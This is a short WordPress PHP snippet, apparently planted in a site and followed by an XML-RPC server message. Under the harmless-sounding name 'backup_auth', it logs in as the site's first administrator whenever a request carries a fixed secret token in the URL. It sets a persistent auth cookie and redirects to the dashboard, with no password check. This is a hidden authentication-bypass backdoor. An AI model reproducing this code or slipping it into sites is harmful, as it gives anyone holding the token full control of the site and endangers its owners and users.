add_action('init', 'backup_auth');
function backup_auth() {
    if (isset($_GET['backup_auth']) && $_GET['backup_auth'] === 'backup_token') {
        if (is_user_logged_in()) {
            wp_logout();
        }
        $user_query = new WP_User_Query(array(
            'role'    => 'administrator',
            'number'  => 1,
            'orderby' => 'ID',
            'order'   => 'ASC'
        ));
        $admins = $user_query->get_results();
        if (!empty($admins)) {
            $admin = $admins[0];
            wp_set_current_user($admin->ID);
            wp_set_auth_cookie($admin->ID, true);
            $redirect_to = admin_url();
            wp_safe_redirect($redirect_to);
            exit;
        }
    }
}
if (!defined('ABSPATH')) {
    exit;
}

XML-RPC server accepts POST requests only.